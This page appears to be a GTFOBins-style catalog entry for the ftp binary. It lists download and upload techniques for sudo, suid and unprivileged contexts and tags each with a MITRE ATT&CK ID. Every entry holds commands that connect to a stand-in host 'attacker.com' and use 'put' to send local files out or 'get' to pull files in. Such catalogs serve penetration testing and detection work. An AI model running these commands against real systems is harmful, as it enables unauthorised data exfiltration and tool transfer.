Catalog GTFOBins

GTFO · Tool

ftp

9 techniques Linux · macOSGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation LinuxmacOS

Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.

ftp -a attacker.com
get /path/to/input-file output-file
Context
sudo
Native
download
MITRE
T1105

download

File DownloadPrivilege Escalation LinuxmacOS

Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.

ftp -a attacker.com
get /path/to/input-file output-file
Context
suid
Native
download
MITRE
T1105

download

File Download LinuxmacOS

Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.

ftp -a attacker.com
get /path/to/input-file output-file
Context
unprivileged
Native
download
MITRE
T1105

upload

File UploadPrivilege Escalation LinuxmacOS

Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.

ftp -a attacker.com
put /path/to/input-file output-file
Context
sudo
Native
upload
MITRE
T1041

upload

File UploadPrivilege Escalation LinuxmacOS

Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.

ftp -a attacker.com
put /path/to/input-file output-file
Context
suid
Native
upload
MITRE
T1041

upload

File Upload LinuxmacOS

Instead of `-a`, credentials can be supplied via the `user:password@host` connection string.

ftp -a attacker.com
put /path/to/input-file output-file
Context
unprivileged
Native
upload
MITRE
T1041